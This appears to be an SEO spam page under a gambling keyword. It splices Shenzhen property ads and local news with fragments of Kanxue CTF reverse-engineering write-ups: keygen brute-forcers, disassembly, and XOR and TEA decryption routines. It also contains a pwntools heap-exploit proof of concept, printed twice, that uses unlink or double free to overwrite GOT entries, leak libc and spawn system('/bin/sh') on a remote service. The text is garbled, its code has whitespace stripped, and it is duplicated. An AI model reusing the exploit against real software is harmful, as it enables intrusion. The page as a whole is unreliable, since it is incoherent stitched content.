bbin电子游戏

rc4变形intrc4(char*pSecret,intSecretLen,char*pOut){intia;unsignedchari=0,j=0,t;unsignedchars[256];unsignedchark[256];for(ia=0;ia=255;ia++,i++)s[ia]=i;for(ia=0;ia=255;ia++)k[ia]=((unsignedchar*)pSecret)[ia%SecretLen];for(ia=i=j=0;ia=255;ia++,i++){j=(j+s[i]+k[i])%256;t=s[i];s[i]=s[j];s[j]=t;}unsignedchardata[128]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};for(intl=0;l128;l++){data[l]^=s[l]+s[256-l-1];}//以下部分为验证阶段使用unsignedintres=0;for(intl=0;l128;l++){res+=data[l];}if(res==0x2979){printf(pSecret);getchar();}return0;} 1.壳的部分了解的不深,主要是过反调试。根据相同两个操作数异或为零的特性,只要其余十个字符成五对或全部相同即可忽略,于是可以快速得到几组key"","^^^^^^^^^^^","~~~~~~~~~~~""AABBCCDDEE","ABABCDCDEE"即只要是"","^","~"三个字符中的任意一个加上其他五对字符,位置任意,就是可行的key,这是其中一种解集。 为更好地服务置业者,咚咚找房推出的极速买房,提供需求匹配、看房选房、置业建议等专业的一条龙服务,如果你有买房需求,请扫下面的二维码加入。于是我们可以大胆猜测,UnhandledExceptionFilter函数包含着重要跳转,是我们打补丁的目标。,  深外大族创客空间揭幕仪式圆满举行    今日,由大族控股集团为深圳外国语学校国际部捐赠建设的深外大族创客空间揭幕仪式圆满落幕,标志着深外大族创客空间正式成立。。 根据相同两个操作数异或为零的特性,只要其余十个字符成五对或全部相同即可忽略,于是可以快速得到几组key"","^^^^^^^^^^^","~~~~~~~~~~~""AABBCCDDEE","ABABCDCDEE"即只要是"","^","~"三个字符中的任意一个加上其他五对字符,位置任意,就是可行的key,这是其中一种解集。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。?上传的附件:2018年下半年预计供应项目有4个,房源共计3232套,房源类型多样,从单身公寓到四房两厅,面积从40~150平方米不等。这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535

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龙首情咱们工人有力量婚礼形式:西式活动时间:2017年6月25日从荒无人烟的戈壁滩到祖国的“镍都”,再到花海如潮、馨香弥漫的全国文明城市、国家园林城市、国家卫生城市,在今天美若云霞的花海中徜徉,我们不能忘记镍都的开拓者。”——旅游线路多样化。唐仁健称赞,金昌此次参展凸显香草花卉产品,所展出的香草花卉产品形式多样、富有特色,以香草花卉产业助推经济发展的新思路值得推广。,金昌花文化博览馆是一座以花文化为核心的主题展馆,以多种展陈方式和先进科技手段为载体,充分展示花的历史、花与城市、花与生活以及花与艺术等方面的内容,同时融入茶道、插花、文玩、香道等艺趣展演,在这里,您能尽情领略花的姿态之奇美、文化之风韵。记者发现,志愿活动中,不少志愿者的服务内容已不仅仅局限于完成负责区域的清理与规划任务,助人为乐、服务社会的志愿精神已经深入人心。。置身于此,这份难得的清新甘冽,让我一次又一次,忍不住做着深呼吸!我又好象是一匹挣脱了缰绳的骏马,驰骋于这春的怀抱,进而去追寻夏日,那火热的情怀。”在北京路上,一支由我市退休职工组成的老年志愿者队伍吸引了记者的目光。。

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推介会邀请了我市旅发委、部分旅行社、旅游景区负责人,新闻媒体记者等100多人参加。6月24日至25日,省委副书记孙伟在我市调研。,关于开发商鸿荣源地产创立自1991年,是深圳最早进入房地产开发领域的企业之一,至今已涉足住宅地产、产业地产、金融投资、矿业投资,住宅地产方面以豪宅为主。在消息响应函数Hi_ctrl_WM_COMMAND_handler_sub_403E80中通过调用Hi_update_sub_41C31A(True)更新编辑框内容到关联的控件成员变量中.text::00403EB4movecx,[ebp+var_118_thisPtr].text:00403EBAcallHi_update_sub_41C31A通过调用Hi_update_sub_41C31A中调用Hi_getEditText_sub_403B600041C361calldwordptr[eax+100h];Hi_getEditText_sub_403B60Hi_getEditText_sub_403B60如下,可见edit控件关联的字符串成员变量在偏移处.text:00403B63leaeax,[ecx+0C0h].text:00403B69pusheax;::00403B6Fpush[ebp+arg_0]:00403B72callHi_InP2DlgID_OutP3text_sub_416F7A下述代码将注册码通过Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30函数分成两部分粗放于两个元素的CStr数组中var_18_2Cstr。,(来源:深圳商报)关于买房,以及了解独家房产资讯及数据,建议您加入咚咚找房的极速买房;说出您的需求,剩下的找房、价值分析、价格配比……都有专业人员帮您搞定,让您的买房路更顺一些。详细过程已更新,详见附件,贴上poc:frompwnimport*importbinasciiimporttime#PediyCTF{n0_pwn_n0_fun_233}g_local=_level=debugsh=0ifg_local:sh=process(./pediy)#print_log(attchbyida.....)raw_input(idahasattchPressanykeyforcontinue...)else:sh=remote(,51888)defwelcome():($)#paylaod=p64(0)+p64(0x21)+A*16#(paylaod)(pediy)($)printwelcome()deffree(id):(2)(1024)(str(id))(1)(2048)defcreate(size,id,context):(1)(1024)(str(size))(1024)(str(id))(1024)(str(context))($)defedit(id,payload):(3)(1024)(str(id))(1024)(payload)(2048)deftest_Double_free():create(16,0,sssss)create(16,1,xxxxxxxxxxx)free(0)free(1)free(0)print(writenewtrunkaddress:)xx=raw_input(newaddress:)payload=p64(int(xx,16))+A*12create(16,0,payload)raw_input()create(16,0,1111111111111)create(16,0,payload)create(16,0,1111111111111)raw_input()create(16,0,1111111111111)create(16,0,1111111111111)create(16,0,1111111111111)deftest_2():create(16,0,sssss)free(-2)print(writenewtrunkaddress:)payload=p32(0x6020e8)+xxxxxxxxxxcreate(20,0,payload)g_dest_list=0x6020e0free_got_plt=0x602018puts_got_plt=0x602020puts_plt=0x4006d0atoi_got_plt=0x602058fd=g_dest_list-0x18bk=g_dest_list-0x10deftest_unlink():FIRST_TRUNK_SIZE=0x80SECOND_TRUNK_SIZE=0x80create(FIRST_TRUNK_SIZE,0,1*FIRST_TRUNK_SIZE)create(SECOND_TRUNK_SIZE,1,2*SECOND_TRUNK_SIZE)#freeg_dwSizeAryfree(-2)#raw_input(changesize)#malloc--returng_dwSizeAryaddress,thenchangethesize#payload=p32(0x20)+p32(0x20)+p32(FIRST_TRUNK_SIZE*2)+p32(SECOND_TRUNK_SIZE)+p32(0)size_payload=size_payload+=p32(FIRST_TRUNK_SIZE*2)#index=0changesizesize_payload+=p32(SECOND_TRUNK_SIZE)#index=1keepsize_payload+=p32(0)size_payload+=p32(0)size_payload+=p32(0)create(20,2,size_payload)#raw_input(editnote0)#editindex=0payload1=payload1+=p64(0)#prevsize=trunkused=0payload1+=p64(0x81)#value=thistrunksize+prevtrunkflag=0x80+1payload1+=p64(fd)#free_got_pltpayload1+=p64(bk)payload1+=A*(FIRST_TRUNK_SIZE-8*4)payload1+=p64(len(payload1))#size=len(payload1)overflowertoindex=1payload1+=p64(SECOND_TRUNK_SIZE+0x10)#value=thistrunksize+prevtrunkflag=0x80+0x10+0edit(0,payload1)raw_input(unlink)#unlinktheng_dest_list[0]=g_dest_list-0x18free(1)#editindex=0address=0x6020c8edit_paylaod=edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(free_got_plt)#g_dest_list[0]forchangefree_got_plttoputs_plttoleakedit_paylaod+=p64(1)#g_dwFlag[0]edit_paylaod+=p64(puts_got_plt)#g_dest_list[1]puts_got_pltForleakputs_got_pltaddressedit_paylaod+=p64(1)#g_dwFlag[1]edit_paylaod+=p64(atoi_got_plt)#g_dest_list[2]atoi_got_pltForchageatoitosystemedit_paylaod+=p64(1)#g_dwFlag[2]#edit(0,p64(0)+p64(0)+p64(0)+p64(free_got_plt)+p64(1)+p64(0x602058)+p64(1)+p64(0x602058))edit(0,edit_paylaod)#raw_input(changefree_got_plttoputs_plt)edit(0,p64(puts_plt))#leakputs_got_plt#raw_input(leakputs_got_pltaddr)xx=free(1)str_puts_addreess=xx[0:6]printstr_puts_addreessstr_puts_addreess=str_puts_addreess+\x00\x00raw_input(calcsystemaddress)ifg_local:system_address=u64(str_puts_addreess)-0x6f690+0x45390else:system_address=u64(str_puts_addreess)-0x6cee0+0x41fd0printsystem_address,hex(system_address)#chageatoiraw_input(chageputs_got_plttosystem_address)edit(2,p64(system_address))#runsystem(/bin/sh)(/bin/sh)#()test_unlink()raw_input()上传的附件:。 目前旧改项目和在售新盘几乎遍布平湖各个区域内,老牛初步统计约有12个项目,其中有4个项目在售,1个项目即将入市,还有7个项目还在建设当中。而这个部门在他管理的时间里面,历来都是总部的最佳部门,总部最佳部门是怎么来的呢?第一类人是一线业务单位老总对总部部门有什么评价第二个是总部各职能部门之间互评。。完整的dump脚本本来想找个反编译工具的,结果一直找不到,最后看了看脚本中的字符串,发现xor,再对比一下输入输出,果然是xor.反推:1.根据输入的字符串,输出的结果,以及异或的过程和最终的对比结果,直接用python还原:#python3#输入字符串,长度不等于12则返回结果全为0inputN=mapzzzzzzz12#经过luajit运算之后的结果outN=[0x1d,0x4,0x14,0x13,0x3,0x4b,0x48,0x49,0x4e,0x4f,0x7,0x5]#C代码中异或的值cXorList=[0x5,0x12,0xa,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94]#最终的比较结果cmpList=[0x18,0x16,0x1e,0x2f,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94]#求luajit中异或的值luaXorList=[]#这个list中值为输入字符串之后应该输出的值needList=[]foriinrange(0,len(inputN)):tmp=cXorList[i]^cmpList[i]#print(hex(tmp))(tmp0xff)foriinrange(0,len(inputN)):tmp=ord(inputN[i])^outN[i]#print(hex(tmp))(tmp0xff)strRet=foriinrange(0,len(inputN)):tmp=luaXorList[i]^needList[i]#print(hex(tmp))strRet+=chr(tmp)print(strRet),铁路线有时候是可以直接阻隔发展辐射的利器。privatestaticuintConvertBytesToUInt(byte[]input,intpos){//=(uint)(input[pos])+(uint)(input[pos+1]0x8)+(uint)(input[pos+2]0x10)+(uint)(input[pos+3]0x18);returnnum;}privatestaticbyte[]ConvertUIntToBytes(uintx){byte[]dst=newbyte[4];for(inti=0;i4;i++){dst[i]=(byte)(x0xff);x=x8;}returndst;}privatestaticbyte[]CombineBytes(byte[]bytes1,byte[]bytes2){byte[]dst=newbyte[+];(bytes1,0,dst,0,);(bytes2,0,dst,,);returndst;}privatestaticuint[]Code(uint[]v,uint[]k){uintnum=v[0];//0x54d6f3eauintnum2=v[1];//0x1e865afcuintnum3=0;uintnum4=(((double)(((,)-)*(,))));uintnum5=0x20;while(num5--0){num+=((num24)^((num25)+num2))^(num3+k[(ushort)(num33)]);num3+=num4;num2+=((num4)^((num5)+num))^(num3+k[(ushort)((num311)3)]);}returnnewuint[]{num,num2};//0xbfd3b3350xcc918c5e}publicstaticbyte[]Encrypt(byte[]input){uint[]k=newuint[]{0x54d6f3ea,0x15ac3f5d,0x1e865afc,0x6583a5b1};byte[]buffer=newbyte[0];intlength=;byte[]buffer2=newbyte[8];intnum2=7-(length%8);buffer2[0]=(byte)num2;for(inti=0;inum2;i++){buffer2[i+1]=(byte)((200+num2)-i);}for(intj=0;j(7-num2);j++){buffer2[(j+num2)+1]=input[j];}uint[]v=newuint[]{ConvertBytesToUInt(buffer2,0),ConvertBytesToUInt(buffer2,4)};v[0]^=k[0];v[1]^=k[2];v=Code(v,k);buffer=CombineBytes(CombineBytes(buffer,ConvertUIntToBytes(v[0])),ConvertUIntToBytes(v[1]));for(intm=7-num2;mlength;m+=8){v[0]^=ConvertBytesToUInt(input,m);v[1]^=ConvertBytesToUInt(input,m+4);v=Code(v,k);buffer=CombineBytes(CombineBytes(buffer,ConvertUIntToBytes(v[0])),ConvertUIntToBytes(v[1]));}returnbuffer;}privatestaticuint[]InvCode(uint[]v,uint[]k){uintnum=v[0];uintnum2=v[1];uintnum3=0xc6ef3720;uintnum4=(((double)(((,)-)*(,))));uintnum5=0x20;while(num5--0){num2-=((num4)^((num5)+num))^(num3+k[(ushort)((num311)3)]);num3-=num4;num-=((num24)^((num25)+num2))^(num3+k[(ushort)(num33)]);}returnnewuint[]{num,num2};}intrNum=0x1be8;byte[]rData=newbyte[rNum];byte[]wData=newbyte[0];FileStreamrFile=newFileStream(,);FileStreamwFile=newFileStream(,);(rData,0,rNum);uintx0=0,x1=0,x00=0,x11=0;uint[]k=newuint[]{0x54d6f3ea,0x15ac3f5d,0x1e865afc,0x6583a5b1};for(inti=0;irNum;i=i+8){uint[]v=newuint[]{ConvertBytesToUInt(rData,i),ConvertBytesToUInt(rData,i+4)};x00=v[0];x11=v[1];v=InvCode(v,k);if(i==0){v[0]^=k[0];v[1]^=k[2];}v[0]^=x0;v[1]^=x1;x0=x00;x1=x11;wData=CombineBytes(CombineBytes(wData,ConvertUIntToBytes(v[0])),ConvertUIntToBytes(v[1]));}for(inti=0;irNum-7;i++){wData[i]=wData[i+7];}(wData,0,rNum-7);上传的附件:文件强调,坚持农业农村优先发展。也就是说PsExec是通过服务程序获得系统权限的。 sm3_42DA78(v14,3u,(int)v11);这个函数根据下边函数里的初始值很容易搜到是国密算法sm3int__cdeclsub_436700(_DWORD*a1){intresult;//eax*a1=0;a1[1]=0;a1[2]=0x7380166F;a1[3]=0x4914B2B9;a1[4]=0x172442D7;a1[5]=0xDA8A0600;a1[6]=0xA96F30BC;a1[7]=0x163138AA;a1[8]=0xE38DEE4D;a1[9]=0xB0FB0E4E;if(sub_42DA7D()==1)sub_42E086();sub_42D389();if(sub_42D807()==1)sub_42E086();result=sub_42D39D();if(result==1)sub_42E086();returnresult;}主要是计算解码后的字符串的sm3值。,解密,得到结果,加上,即为正确的进入的字符串。,详细过程已更新,详见附件,贴上poc:frompwnimport*importbinasciiimporttime#PediyCTF{n0_pwn_n0_fun_233}g_local=_level=debugsh=0ifg_local:sh=process(./pediy)#print_log(attchbyida.....)raw_input(idahasattchPressanykeyforcontinue...)else:sh=remote(,51888)defwelcome():($)#paylaod=p64(0)+p64(0x21)+A*16#(paylaod)(pediy)($)printwelcome()deffree(id):(2)(1024)(str(id))(1)(2048)defcreate(size,id,context):(1)(1024)(str(size))(1024)(str(id))(1024)(str(context))($)defedit(id,payload):(3)(1024)(str(id))(1024)(payload)(2048)deftest_Double_free():create(16,0,sssss)create(16,1,xxxxxxxxxxx)free(0)free(1)free(0)print(writenewtrunkaddress:)xx=raw_input(newaddress:)payload=p64(int(xx,16))+A*12create(16,0,payload)raw_input()create(16,0,1111111111111)create(16,0,payload)create(16,0,1111111111111)raw_input()create(16,0,1111111111111)create(16,0,1111111111111)create(16,0,1111111111111)deftest_2():create(16,0,sssss)free(-2)print(writenewtrunkaddress:)payload=p32(0x6020e8)+xxxxxxxxxxcreate(20,0,payload)g_dest_list=0x6020e0free_got_plt=0x602018puts_got_plt=0x602020puts_plt=0x4006d0atoi_got_plt=0x602058fd=g_dest_list-0x18bk=g_dest_list-0x10deftest_unlink():FIRST_TRUNK_SIZE=0x80SECOND_TRUNK_SIZE=0x80create(FIRST_TRUNK_SIZE,0,1*FIRST_TRUNK_SIZE)create(SECOND_TRUNK_SIZE,1,2*SECOND_TRUNK_SIZE)#freeg_dwSizeAryfree(-2)#raw_input(changesize)#malloc--returng_dwSizeAryaddress,thenchangethesize#payload=p32(0x20)+p32(0x20)+p32(FIRST_TRUNK_SIZE*2)+p32(SECOND_TRUNK_SIZE)+p32(0)size_payload=size_payload+=p32(FIRST_TRUNK_SIZE*2)#index=0changesizesize_payload+=p32(SECOND_TRUNK_SIZE)#index=1keepsize_payload+=p32(0)size_payload+=p32(0)size_payload+=p32(0)create(20,2,size_payload)#raw_input(editnote0)#editindex=0payload1=payload1+=p64(0)#prevsize=trunkused=0payload1+=p64(0x81)#value=thistrunksize+prevtrunkflag=0x80+1payload1+=p64(fd)#free_got_pltpayload1+=p64(bk)payload1+=A*(FIRST_TRUNK_SIZE-8*4)payload1+=p64(len(payload1))#size=len(payload1)overflowertoindex=1payload1+=p64(SECOND_TRUNK_SIZE+0x10)#value=thistrunksize+prevtrunkflag=0x80+0x10+0edit(0,payload1)raw_input(unlink)#unlinktheng_dest_list[0]=g_dest_list-0x18free(1)#editindex=0address=0x6020c8edit_paylaod=edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(free_got_plt)#g_dest_list[0]forchangefree_got_plttoputs_plttoleakedit_paylaod+=p64(1)#g_dwFlag[0]edit_paylaod+=p64(puts_got_plt)#g_dest_list[1]puts_got_pltForleakputs_got_pltaddressedit_paylaod+=p64(1)#g_dwFlag[1]edit_paylaod+=p64(atoi_got_plt)#g_dest_list[2]atoi_got_pltForchageatoitosystemedit_paylaod+=p64(1)#g_dwFlag[2]#edit(0,p64(0)+p64(0)+p64(0)+p64(free_got_plt)+p64(1)+p64(0x602058)+p64(1)+p64(0x602058))edit(0,edit_paylaod)#raw_input(changefree_got_plttoputs_plt)edit(0,p64(puts_plt))#leakputs_got_plt#raw_input(leakputs_got_pltaddr)xx=free(1)str_puts_addreess=xx[0:6]printstr_puts_addreessstr_puts_addreess=str_puts_addreess+\x00\x00raw_input(calcsystemaddress)ifg_local:system_address=u64(str_puts_addreess)-0x6f690+0x45390else:system_address=u64(str_puts_addreess)-0x6cee0+0x41fd0printsystem_address,hex(system_address)#chageatoiraw_input(chageputs_got_plttosystem_address)edit(2,p64(system_address))#runsystem(/bin/sh)(/bin/sh)#()test_unlink()raw_input()上传的附件:罗湖区成交金额TOP10根据深圳房地产信息网的监测,深业东岭以31538万元摘取罗湖区成交金额龙虎榜桂冠,向西雍睦豪庭以12657万元取得亚军排名,中海天钻以1832万元居季军。,来源:澎湃新闻关于买房,以及了解独家房产资讯及数据,建议您加入咚咚找房极速买房;说出您的需求,剩下的找房、价值分析、价格配比……都有专业人员帮您搞定,让您的买房路更顺畅。其实就是对输入分别与下面这一串异或,返回结果。根据规划,拟将彬峰桂工业园城市项目更新为,申报容积率。  位于广澳高速三角收费站出口、距离南沙自贸区仅10分钟车程的雅居乐民森迪茵湖小镇首期产品将于本周六正式发售。 ,次卧开间达到米舒适度较高,入户门直接面对主卧房门,对于私密性有一定影响。  (2)产城人融合实现高质量发展  东莞两会上,虎门镇委书记叶孔新发言称,“虎门将围绕造环境、整资源、搭平台等方面,推进高质量发展。。bbin电子游戏,如果A学校学区范围内的学生可以分享B学校学位,那么第一志愿为A学校,第二志愿为B学校,但是B学校学区范围内的学生不能填报A学校。壹成中心处于龙华老城核心居住圈,,此规模超过280万㎡的大冲华润城。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。帝王蟹、面包蟹、象牙蚌、波士顿龙虾……凡你所能想到的海鲜,盒马鲜生几乎统统都有,有网友为此直叹“就像是个能吃的水族馆”。 1月13日,金地·前海山星光大道才艺展示暨浩琦(爱尚)培训中心期末汇报演出在金地·前海山营销中心精彩上演热情激昂、花样百出的表演为现场观众们带来了一场别开生面的视听盛宴尽管天气寒冷小选手们的热情仍旧不减他们早早地就来到了金地·前海山营销中心梳妆进行时,随时准备一展身手快乐和兴奋溢满了整个活动现场“台上三分钟,台下十年功”小朋友们在台下多年的辛苦练习都是为了在舞台上呈现最精彩的表演站在舞台上的他们会成为最闪亮的星现场人山人海,座无虚席,热闹非凡!下午3点,精彩表演正式拉开帷幕!时尚帅气的《街舞》作为开场表演街舞少年们娴熟的舞技丝毫不逊色大人极富感染力,让现场气氛瞬间火热!窈窕身姿,曼妙妖娆小舞者们的精彩表演带我们领略到舞蹈艺术之美更是展现出青春亮丽的风采赢得台下掌声和欢呼声一片至柔至刚、形式多变的武术作为中国国粹,有着独特的魅力武术表演《男儿当自强》每一个动作都干劲有力,气势十足让人眼前一亮,十分震撼每一位参与表演的小天使都是最棒的表演家金地·前海山还为他们准备了贴心精美小礼物以鼓励他们在艺术探索的路上不断成长欢乐的时间总是稍纵即逝精彩表演在欢笑声、喝彩声中圆满落幕让我们一起期待下次的精彩活动吧金地·前海山华南旗舰褐石系作品400年文化传承位于前海中轴之上雄踞松山湖生态园首站大岭山森林公园旁超10万亩原生森林社区十大功能主题园林满足全家理想生活四大高速路贯穿龙大高速深圳段免费直达福田建面约143㎡半山别墅阔绰4套房设计,优良通风采光设计有天有地有花园,最低仅需三成首付助您轻松实现半山别墅梦!正在火热销售,席位紧俏!文章来源:开发商供稿句柄表在EPROCESS结构体中,有一个句柄表成员:我们知道,句柄是为了操作内核对象的“序号”,它的好处在于统一了接口,使得进程(准确来说是线程)能够用统一的方式操作不同的对象资源。100万工作经费、700万奖励补贴,再加上250平方米住房,来坪山工作的人才,有机会获得这些丰厚的待遇。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。近期深圳出让了三宗“只租不售”的居住用地,大力发展长期租赁房屋,从多方面调控抑制房价,由此可看出政府对于恢复房屋居住属性的决心。 